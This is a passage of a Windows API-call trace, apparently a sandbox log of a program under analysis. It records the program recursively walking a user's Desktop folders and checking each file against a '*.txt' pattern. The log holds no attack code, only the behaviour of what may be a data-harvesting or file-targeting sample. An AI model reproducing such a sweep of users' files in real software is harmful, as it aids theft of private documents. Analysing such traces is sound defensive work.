HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340fc8 | out: hHeap=0x2360000) returned 1 [0146.221] PathMatchSpecW (pszFile="82JEM7uGSBUD5y.jpg", pszSpec="*.txt") returned 0 [0146.221] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.222] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0b205c0, ftCreationTime.dwHighDateTime=0x1d7aa86, ftLastAccessTime.dwLowDateTime=0x93584e20, ftLastAccessTime.dwHighDateTime=0x1d7acf2, ftLastWriteTime.dwLowDateTime=0x93584e20, ftLastWriteTime.dwHighDateTime=0x1d7acf2, nFileSizeHigh=0x0, nFileSizeLow=0x14983, dwReserved0=0x0, dwReserved1=0x0, cFileName="8DlSlQ4DWJEgioA.bmp", cAlternateFileName="8DLSLQ~1.BMP")) returned 1 [0146.222] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.222] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.222] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="8DlSlQ4DWJEgioA.bmp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp" [0146.222] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.222] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.222] lstrcatW (in: lpString1="\\", lpString2="8DlSlQ4DWJEgioA.bmp" | out: lpString1="\\8DlSlQ4DWJEgioA.bmp") returned="\\8DlSlQ4DWJEgioA.bmp" [0146.222] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604e8 [0146.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0146.222] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x33) returned 0x2360560 [0146.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp", cchWideChar=51, lpMultiByteStr=0x2360560, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp", lpUsedDefaultChar=0x0) returned 51 [0146.222] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x33400d0 [0146.222] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360560 | out: hHeap=0x2360000) returned 1 [0146.222] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.222] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x3340fc8 [0146.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x3340fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.222] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340fc8 | out: hHeap=0x2360000) returned 1 [0146.222] PathMatchSpecW (pszFile="8DlSlQ4DWJEgioA.bmp", pszSpec="*.txt") returned 0 [0146.222] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.223] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad5addb0, ftCreationTime.dwHighDateTime=0x1d7ab6c, ftLastAccessTime.dwLowDateTime=0xa6313aa0, ftLastAccessTime.dwHighDateTime=0x1d7adbc, ftLastWriteTime.dwLowDateTime=0xa6313aa0, ftLastWriteTime.dwHighDateTime=0x1d7adbc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="avdtAoxV8CAmzwyXqi1", cAlternateFileName="AVDTAO~1")) returned 1 [0146.223] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.223] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.223] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.223] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.223] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.223] lstrcatW (in: lpString1="\\", lpString2="avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.223] lstrcmpW (lpString1="avdtAoxV8CAmzwyXqi1", lpString2=".") returned 1 [0146.223] lstrcmpW (lpString1="avdtAoxV8CAmzwyXqi1", lpString2="..") returned 1 [0146.223] lstrcpyW (in: lpString1=0x19c9ac, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.223] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\*.*" [0146.223] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\*.*", lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad5addb0, ftCreationTime.dwHighDateTime=0x1d7ab6c, ftLastAccessTime.dwLowDateTime=0xa6313aa0, ftLastAccessTime.dwHighDateTime=0x1d7adbc, ftLastWriteTime.dwLowDateTime=0xa6313aa0, ftLastWriteTime.dwHighDateTime=0x1d7adbc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8825b0 [0146.223] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.223] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.223] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\." [0146.223] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.224] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.224] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\.") returned="\\avdtAoxV8CAmzwyXqi1\\." [0146.224] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.224] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad5addb0, ftCreationTime.dwHighDateTime=0x1d7ab6c, ftLastAccessTime.dwLowDateTime=0xa6313aa0, ftLastAccessTime.dwHighDateTime=0x1d7adbc, ftLastWriteTime.dwLowDateTime=0xa6313aa0, ftLastWriteTime.dwHighDateTime=0x1d7adbc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.224] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.224] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.224] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\.." [0146.224] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.224] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.224] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2=".." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\..") returned="\\avdtAoxV8CAmzwyXqi1\\.." [0146.224] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.224] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.224] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a82a210, ftCreationTime.dwHighDateTime=0x1d7a182, ftLastAccessTime.dwLowDateTime=0x77fa1e0, ftLastAccessTime.dwHighDateTime=0x1d7a299, ftLastWriteTime.dwLowDateTime=0x77fa1e0, ftLastWriteTime.dwHighDateTime=0x1d7a299, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0bJmFQ", cAlternateFileName="")) returned 1 [0146.224] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.224] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.224] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.224] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.224] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.224] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.224] lstrcmpW (lpString1="0bJmFQ", lpString2=".") returned 1 [0146.224] lstrcmpW (lpString1="0bJmFQ", lpString2="..") returned 1 [0146.224] lstrcpyW (in: lpString1=0x19c02c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.224] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\*.*" [0146.225] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\*.*", lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a82a210, ftCreationTime.dwHighDateTime=0x1d7a182, ftLastAccessTime.dwLowDateTime=0x77fa1e0, ftLastAccessTime.dwHighDateTime=0x1d7a299, ftLastWriteTime.dwLowDateTime=0x77fa1e0, ftLastWriteTime.dwHighDateTime=0x1d7a299, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x882970 [0146.225] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.225] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.225] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\." [0146.225] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.225] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.225] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\.") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\." [0146.225] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.225] FindNextFileW (in: hFindFile=0x882970, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a82a210, ftCreationTime.dwHighDateTime=0x1d7a182, ftLastAccessTime.dwLowDateTime=0x77fa1e0, ftLastAccessTime.dwHighDateTime=0x1d7a299, ftLastWriteTime.dwLowDateTime=0x77fa1e0, ftLastWriteTime.dwHighDateTime=0x1d7a299, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.225] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.225] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.225] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\.." [0146.225] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.225] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.225] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2=".." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\..") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\.." [0146.226] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.226] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.226] FindNextFileW (in: hFindFile=0x882970, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b5d62c0, ftCreationTime.dwHighDateTime=0x1d7a115, ftLastAccessTime.dwLowDateTime=0xa140a5e0, ftLastAccessTime.dwHighDateTime=0x1d7ac62, ftLastWriteTime.dwLowDateTime=0xa140a5e0, ftLastWriteTime.dwHighDateTime=0x1d7ac62, nFileSizeHigh=0x0, nFileSizeLow=0x129ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="3a8e-vNM7Q5rmwj.rtf", cAlternateFileName="3A8E-V~1.RTF")) returned 1 [0146.226] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.226] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.226] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="3a8e-vNM7Q5rmwj.rtf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf" [0146.226] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.226] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.226] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="3a8e-vNM7Q5rmwj.rtf" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf" [0146.226] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604e8 [0146.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0146.226] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4e) returned 0x33400d0 [0146.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf", cchWideChar=78, lpMultiByteStr=0x33400d0, cbMultiByte=78, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\3a8e-vNM7Q5rmwj.rtf", lpUsedDefaultChar=0x0) returned 78 [0146.226] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x23611c0 [0146.226] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.226] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604e8 | out: hHeap=0x2360000) returned 1 [0146.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.226] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x3340fc8 [0146.226] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x3340fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0146.226] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340fc8 | out: hHeap=0x2360000) returned 1 [0146.226] PathMatchSpecW (pszFile="3a8e-vNM7Q5rmwj.rtf", pszSpec="*.txt") returned 0 [0146.226] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0146.226] FindNextFileW (in: hFindFile=0x882970, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ca5dc60, ftCreationTime.dwHighDateTime=0x1d7adf4, ftLastAccessTime.dwLowDateTime=0x63524720, ftLastAccessTime.dwHighDateTime=0x1d7af50, ftLastWriteTime.dwLowDateTime=0x63524720, ftLastWriteTime.dwHighDateTime=0x1d7af50, nFileSizeHigh=0x0, nFileSizeLow=0x11833, dwReserved0=0x0, dwReserved1=0x0, cFileName="5 VEXDj.flv", cAlternateFileName="5VEXDJ~1.FLV")) returned 1 [0146.226] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.226] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.226] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="5 VEXDj.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\5 VEXDj.flv" [0146.226] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") 